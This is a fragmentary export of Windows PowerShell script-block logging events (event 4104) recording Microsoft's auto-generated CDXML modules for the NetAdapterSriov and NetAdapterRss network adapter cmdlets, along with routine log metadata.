$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriov.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterSriov' -Alias '*'
ScriptBlock ID: 3a610b1d-050d-41a5-a09c-10b447468b4a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1945 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-b5fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 2):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterSriovSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterSriov
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterSriovSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriov.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterSriov' -Alias '*'
function Set-NetAdapterSriov
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterSriovSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterSriovSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Vf')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${NumVFs},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NumVFs')) {
[object]$__cmdletization_value = ${NumVFs}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumVFs'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumVFs'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriov.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterSriov' -Alias '*'
function Enable-NetAdapterSriov
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterSriovSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSC
ScriptBlock ID: 3a610b1d-050d-41a5-a09c-10b447468b4a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1944 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-b5fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRss.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterRss' -Alias '*'
ScriptBlock ID: f82bf787-d4a3-4851-98b0-30e6f572a419
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1943 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-affe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
efaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRss.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterRss' -Alias '*'
function Enable-NetAdapterRss
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRssSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
